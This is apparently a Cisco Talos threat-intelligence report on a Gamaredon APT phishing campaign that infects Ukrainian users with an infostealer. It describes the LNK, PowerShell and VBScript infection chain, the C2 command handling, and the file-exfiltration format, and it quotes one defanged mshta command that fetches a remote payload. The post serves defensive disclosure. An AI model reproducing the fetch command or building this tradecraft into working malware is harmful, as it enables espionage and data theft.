Українська (Ukrainian)

  • Cisco Talos recently identified a new, ongoing campaign attributed to the Russia-linked Gamaredon APT that infects Ukrainian users with information-stealing malware.
  • The adversary is using phishing documents containing lures related to the Russian invasion of Ukraine.
  • LNK files, PowerShell and VBScript enable initial access, while malicious binaries are deployed in the post-infection phase.

We discovered the use of a custom-made information stealer implant that can exfiltrate victim files of interest and deploy additional payloads as directed by the attackers.

Cisco Talos discovered Gamaredon APT activity targeting users in Ukraine with malicious LNK files distributed in RAR archives. The campaign, part of an ongoing espionage operation observed as recently as August 2022, aims to deliver information-stealing malware to Ukrainian victim machines and makes heavy use of multiple modular PowerShell and VBScript (VBS) scripts as part of the infection chain. The infostealer is a dual-purpose malware that includes capabilities for exfiltrating specific file types and deploying additional binary and script-based payloads on an infected endpoint.

The adversary uses phishing emails to deliver Microsoft Office documents containing remote templates with malicious VBScript macros. These macros download and open RAR archives containing LNK files that subsequently download and activate the next-stage payload on the infected endpoint. We observed considerable overlap between the tactics, techniques and procedures (TTPs), malware artifacts and infrastructure used in this campaign and those used in a series of attacks the Ukraine Computer Emergency Response Team (CERT-UA) recently attributed to Gamaredon.

We also observed intrusion attempts against several Ukrainian entities. Based on these observations and Gamaredon's operational history of almost exclusively targeting Ukraine, we assess that this latest campaign is almost certainly directly targeting entities based in Ukraine.

Attack Chain

Initial Access

Gamaredon APT actors likely gained initial footholds into targeted networks through malicious Microsoft Office documents distributed via email. This is consistent with spear-phishing techniques common to this APT.

Malicious VBS macros concealed within remote templates execute when the user opens the document. The macros download RAR archives containing LNK files. The naming convention of the RAR archives in this campaign follows a similar pattern:

  • 31.07.2022.rar
  • 04.08.2022.rar
  • 10.08.2022.rar

These compressed archives usually contain just the LNK file. The LNK files and Microsoft Office document names contain references pertinent to the Russian invasion of Ukraine:


Once opened, the LNKs will attempt to execute MSHTA.EXE to download and parse a remote XML file to execute a malicious PowerShell script:

mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f

Gamaredon is known to use the domain xsph[.]ru. The servers in this campaign only allow access from IP addresses inside the Ukrainian address space.

This PowerShell script decodes and executes a second PowerShell script (instrumentor), which collects data from the victim and reports back to a remote server. This script also allows the remote server to send a PowerShell command or binary blob containing encrypted VBScript (VBS) code to be executed locally:

Second-stage PowerShell script that runs additional commands and payloads on the endpoint.

The instrumentor PowerShell script usually consists of a function that decodes the encrypted response from the command and control (C2) server and executes it as a VBScript object. The key used in the XOR decoder is calculated based on the machine's volume serial number plus index parameters passed in the response blob. This method makes it difficult to decode the malicious content if an observer looking at the data doesn't have both parameters available.

The PowerShell script also repeatedly captures the current user's screen. This code uses the "System.Windows.Forms" object to capture a copy of the virtual desktop, including setups with multiple screens. The screen capture is executed nine times, but the resulting screenshot is always saved to "%TEMP%\test.png", which gets overwritten every time. The resulting image (PNG file) is then converted to a base64-encoded string, stored in a variable and the screenshot image file is removed from the disk.

The script then proceeds to upload the victim's information to the remote server. The following information is then collected and exfiltrated to a hardcoded C2 URL.

  • Computer name.
  • Volume serial number.
  • Base64-encoded screenshot.

Upon sending the system information, the server response is parsed to see if there are commands to be executed. The entire script runs up to four times, thus up to four different commands can be executed each time.

The code checks if the first character is an exclamation point ("!"). If so, the remainder of the response is expected to be a PowerShell code that is passed directly to the command IEX. The output of that command is then added to the variable "cmd" and sent back to the C2 server.

If the response starts with any other character, it is treated as an encrypted blob and passed to the decoder function, along with the volume serial number to be decoded and executed as VBScript.

Infection chain diagram.


Yet another PowerShell script

One of the payloads served to the instrumentor script was PowerShell code used to set an environmental variable with PowerShell code in it and a Registry RUN key to run every time the user logs in.

PowerShell script setting up the RUN key to execute another PowerShell script stored in the environment variable.

There are two key components to this script:

  • The Get-IP function: This function queries a DNS lookup service for an attacker-specified domain and uses one of the returned IP addresses as the IP to download the next payloads.
  • Next-stage payload: The PowerShell script uses the IP address to construct a URL that serves the next-stage PowerShell script, which is subsequently stored in "$env:Include" and executed when the user logs in (via the HKCU\\Run key).
Persistence script fetching the remote location's IP.

The PowerShell code residing in the environment variable is meant to provide the attackers with continued access to the infected endpoint with the capability to deploy additional payloads as desired. A similar PowerShell script was described in CERT-UA's recent alert describing intrusions conducted by Gamaredon in the first half of 2022 using the GammaLoad and GammaSteel implants.

PowerShell script stored in the env variable.

This script uses the same Get-IP() function to get a random IP assigned to the domain and queries a URL constructed from the IP address and a hardcoded extended resource. Just like the previous script, the computer name and volume serial number are used again in communications with the C2 server. The C2 server uses them to encode the next-stage payload subsequently served to the script.

If the response from the C2 starts with the string "http", the content is treated as the URL to download the final payload binary. The Volume Serial Number and Computer Name are passed to this URL and the response is decoded using the XorBytes function.

PowerShell function used to decode payloads from C2 server.

The decrypted binary is then saved to the "%TEMP%" folder with a name consisting of a random string of numbers and the ".exe" file extension and is executed.

Alternatively, if the response from the C2 does not begin with the "http" string, the content is treated as a VBS and executed via a COM object.


One of the executables deployed by the attackers via the PowerShell script consisted of an information stealer that exfiltrates files of specific extensions from the infected endpoint: .doc, .docx, .xls, .rtf, .odt, .txt, .jpg, .jpeg, .pdf, .ps1, .rar, .zip, .7z and .mdb. This is a new infostealer that Gamaredon has not previously used in other campaigns. We suspect it may be a component of Gamaredon's "Giddome'' backdoor family, but we are unable to confirm that at this time.

The malicious binary keeps track of what has been exfiltrated in a file named "profiles_c.ini" in the "%USERPROFILE%\Appdata\Local" folder. The malware stores the MD5 hash of a string containing the filename, file size and modification date of the exfiltrated file.

Once started, the malware scans all attached storage devices looking for files with the aforementioned extensions. For each one, the malware makes a POST request with metadata about the exfiltrated file and its content.

POST data to exfiltrate files.

The parameter "p" contains metadata about the stolen file and the victim machine using the following format:


Where the various parameters are:

<Hard_coded_value>&&<File_name>&&<File_Modification_Date_time>&&<FileSize>&&__&&<Computer_Name>&&<Username>&&<Victim_ID_randomly_generated_string_12_chars>&&<Volume Serial Number>

The raw content of the file comes after the metadata. The request is made to a random URI under the parent C2 domain. The implant generates a random 12-character string that acts as a subdomain for the C2 domain to send requests to:

E.g. <random_12_char_string>[.]celticso[.]ru

The implant will also search for the relevant file extensions in fixed and remote drives and specifically in the "C:\Users" folder. The implant enumerates all the files recursively in the directories on the system while avoiding enumeration of any folder containing the following strings in the path:

  • program files
  • program files (x86)
  • programdata
  • perflogs
  • prog
  • windows
  • appdata
  • local
  • roaming

Avoiding these folders is likely an attempt by the malware to avoid exfiltrating system files thereby focussing on user files of interest only.

For each file exfiltrated to the C2, the implant calculates the MD5 hash for the following information and stores it in the "%LocalAppData%\profiles_c.ini" file:


The implant also steals files from removable drives connected to the infected endpoint. When the implant finds a removable drive, it looks for files with the file extensions listed earlier. Once a file is found, the implant creates a randomly named folder in the %TEMP% directory and copies the original file from its original location to:

%Temp%\<randomly_named_folder>\connect\<removable_vol_serial_number>\<original file path>

For example, a user file found in a remote drive "E:" at path "E:\top_secret_docs\isengard.doc" will be copied to


The contents of the folder in the temp directory are subsequently exfiltrated to the C2.

Deliver payloads

As with this actor's previous tools (e.g., the PS1 scripts), this binary also parses the server response and downloads additional payloads if requested. The response from the server consists of a flag indicating how the data should be treated:

FlagPayload TypeAction
1EXEWritten to disk and executed.
2VBSWritten to disk and executed using wscript.exe.
Any other valueBlob of dataWritten to a file on disk in the %TEMP% folder.
Code depicting the dropping of additional payloads.

There are other indications this malware may be present on the system, listed below:

  • A registry key is created under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the name "Windows Task" for persistence
  • A mutex is created with the name Global\flashupdate_r


Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort Rules 60517-60539 are available for this threat.

Orbital Queries

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click here and here.


The IOC list is also available in Talos' Github repo here.









Malicious URLs


Additional Payload Drop Sites